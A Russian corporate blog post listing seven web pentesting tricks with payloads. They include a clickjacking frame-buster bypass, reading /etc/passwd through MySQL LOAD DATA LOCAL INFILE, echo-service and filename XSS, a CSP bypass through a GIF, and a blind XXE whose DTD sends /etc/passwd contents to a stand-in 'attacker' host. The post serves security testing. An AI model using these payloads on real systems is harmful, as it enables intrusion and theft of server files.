81,25
Рейтинг
Digital Security
Безопасность как искусство

Подборка трюков при анализе защищенности веб приложений

Блог компании Digital SecurityИнформационная безопасность
Всем привет! Этот топик посвящен разным трюкам при анализе защищенности (пентесте) веб приложений. Периодически сталкиваешься с ситуацией, когда надо обойти какую-нибудь защиту, выкрутиться в данных ограничениях или просто протестировать какое-то неочевидное место. И этот пост как раз об этом! Добро пожаловать под кат.

Трюк #1 — Обойти защиту от Clickjacking'а


Кликджекинг (англ. Clickjacking) — механизм обмана пользователей интернета, при котором злоумышленник может получить доступ к конфиденциальной информации или даже получить доступ к компьютеру пользователя, заманив его на внешне безобидную страницу или внедрив вредоносный код на безопасную страницу. Принцип основан на том, что поверх видимой страницы располагается невидимый слой, в который и загружается нужная злоумышленнику страница, при этом элемент управления (кнопка, ссылка), необходимый для осуществления требуемого действия, совмещается с видимой ссылкой или кнопкой, нажатие на которую ожидается от пользователя. Возможны различные применения технологии — от подписки на ресурс в социальной сети до кражи конфиденциальной информации и совершения покупок в интернет-магазинах за чужой счёт (С) http://ru.wikipedia.org/wiki/Кликджекинг

При данной атаке требуется отобразить ресурс во фрейме, и правильный путь для защиты — добавить заголовок X-Frame-Options с нужными ограничениями (обычно, запрещают показывать ресурс во фрейме всем).
Но на довольно большом количестве сайтов можно встретить подобный код:

if (self !== top) {
top.location = self.location;
}

Javascript, при помощи которого ресурс пытается «выпрыгнуть» из фрейма. И здесь есть два пути обхода данной защиты.

1. Race condition

Мы можем «повешать» новый Listener на unload окна и ввести всё окно в состояние гонки
var kill_bust = 0
window.onbeforeunload = function(){kill_bust++};
setInterval(function() {
if (kill_bust > 0) {
kill_bust -= 2;
top.location = '204.php';
}}, 1);

Где 204.php — следующий скрипт

header("HTTP/1.0 204 No Response");

В итоге не дать сайту «выпрыгнуть» из фрейма.

2. Использование стандаратов HTML5

Мы можем ограничить действие скриптов во фрейме, открывая его в режиме песочницы
<iframe src="http://victim.com" sandbox="
allow-forms
allow-scripts" />

Данные методы рассматривались на воркшопе ZeroNights: 2013.zeronights.org/includes/docs/Krzysztof_Kotowicz_-_Hacking_HTML5.pdf

Трюк #2 — Чтение файлов в MySQL при отсутствии file_priv


Считается, что читать файлы в MySQL можно только при выставленных файловых привилегиях у пользователя. Но это не совсем так. Если у нас есть право создавать таблицы — мы можем при создании таблицы прочитать файл, не имея file_priv

LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY ' ';

и
select * from test; 

Данная тема разобрана на форуме rdot.

Трюк #3 — Использование echo сервисов для XSS


Это трюк относится к созданию PoC для очень специфичных XSS. Представим себе echo сервис, который просто отдает запрошенное содержимое обратно. Если мы обратимся к нему по HTTP — то он нам просто вернет весь наш HTTP запрос. А если мы запросим что-то типа victim.com:1024/<script>alert(1)</script>? То он нам вернет весь HTTP запрос, где в начале будет XSS. Но здесь два момента.

  1. Ответ на HTTP запрос будет некорректен (для версии протокола HTTP 1.X+), но в версии HTTP 0.9 необязательно корректно отвечать на запрос, поэтому некоторые браузеры (Internet Explorer) рендерят подобные ответы. Об этом можно узнать в книге Michal Zalewski «The tangled web».
  2. Перед отправкой запроса на сервер браузер преобразует url в «безопасный» вид (%20 и подобные штуки в вашей адресной строке). Как итог — echo сервис вернёт нем не наши тэги с xss — <script>, а %3Cscript%3E. Но! Internet Explrer не энкодит данные после первого вопроса (GET параметры) в URL.

Но есть способ заставить Explorer не энкодить ничего в URL (данный метод был случайно найден при пентесте). Это отдать ссылку IE через заголовок Location
<?php
header("Location: http://victim/ANY_DATA_HERE_WILL_BE_NOT_ENCODED");
?>

Как итог — отправить «нормальный» запрос на echo сервис, который нам же его и вернет. А IE — отрендерит.
Далее возникнет логичный вопрос, а как же Same Origin Policy? Ведь мы исполняем js на другом порту, отличным от нужного нам порта веб-сервера и атакуемого сайта? В Internet explorer порт не учитывается при детекте SOP, вот так. Как итог — подобный трюк помогает просто показать (POC), что вектор есть в данных, очень сложных условиях. Например — подобное было найдено нашими ресерчами в SAP.

Трюк #4 — Чтение данных при «слепой» XML инъекции


XXE — атака на приложения, обрабатывающие XML. Вместо каких-нибудь валидных и ожидаемых данных на обработку отдаются XML-cущности, который парсер должен (по дефолту) сначала распарсить, а только потом обработать всю XML. В качестве сущности можно задать файл (например, в качестве никнейма) и после посмотреть на свой ник (а этой какой-нибудь /etc/passwd). Но бывают ситуации, когда отправляешь XML и всё, в никуда, никаких ответов. При подобной «слепой» инъекции можно использовать японский/PT вектор.

Отдается первая XML с DTD по внешнему адресу:

evil.xml
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker/test.dtd" >
<foo>&e1;</foo>


test.dtd
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker/BLAH#%p1;'>">
%p2;


Как итог — XML парсер обработает данные выше и попробует запросить сущность GET запросом, в параметрах которого будут данные файла (а там уже мониторим access.log).

Трюк #5 — Обход CSP и исполнение javascript из GIF файла


Content-Security-Policy — заголовок, который сообщает браузеру, откуда можно подргружать различные данные (например, JS), всё остальное — запрещено. Это значительно затрудняет эксплуатацию XSS уязвимостей. Внедриться можем, а js выполнить — нет, .js файлы разрешены только с каких-то определенных доменов. Теперь, если мы можем загружать файлы (например, аттачить в письмо), то можно сгенерировать «злобный» вполне валидный GIF файл, при инклуде которого

<script src = "http://domain-in-white-list/evil_image.gif"></script>

Исполнится JS. Демо, скрипт, использовалось в FaceBook.

Трюк #6 — игнорирование заголовка «Content-Disposition: attachment» и рендеринг скрипта в браузере.


Я очень подробно описывал этот вектор здесь. Смысл в том, что iOS устройства игнорируют этот заголовок и «пригодный» контент (html/svg) рендерят в браузере. Пример из прошлой статьи аттача из gmail, который не должен автоматом открываться в браузере
GMail


Трюк #7 — «Непопулярное» место при тестировании на XSS


Факт — место, описанное в трюке, действительно очень непопулярно при тестировании на XSS среди множества пентестеров.

Идея: создать файл <img src = x onerror=alert(1)>.jpeg и отправить жертве.

Под Linux системами файл с таким именем создать просто

# touch '<img src = x onerror=alert(1)>.jpeg' 

Но под Windows — нельзя, ввиду особенностей файловых систем этой ОС. Решение очень простое, пускаем весь трафик Burp Proxy и подменяем данные на этапе их отправки

------WebKitFormBoundaryFS9MRFpHBt02jHkz
Content-Disposition: form-data; name="upload[0]"; filename=""><img src = x onerror=alert(1)>"

Подобным способом была найдена XSS в Google AdWords — c0rni3sm.blogspot.ru/2013/12/google-adwords-stored-xss-from-nay-to.html, которую можно было использовать против других пользователей.

Спасибо за внимание!
Теги:вебпентесттрюки
Хабы: Блог компании Digital Security Информационная безопасность
+75
34,2k 450
Комментарии 16

Похожие публикации

Лучшие публикации за сутки

Информация

Дата основания
Местоположение
Россия
Сайт
dsec.ru
Численность
51–100 человек
Дата регистрации

Блог на Хабре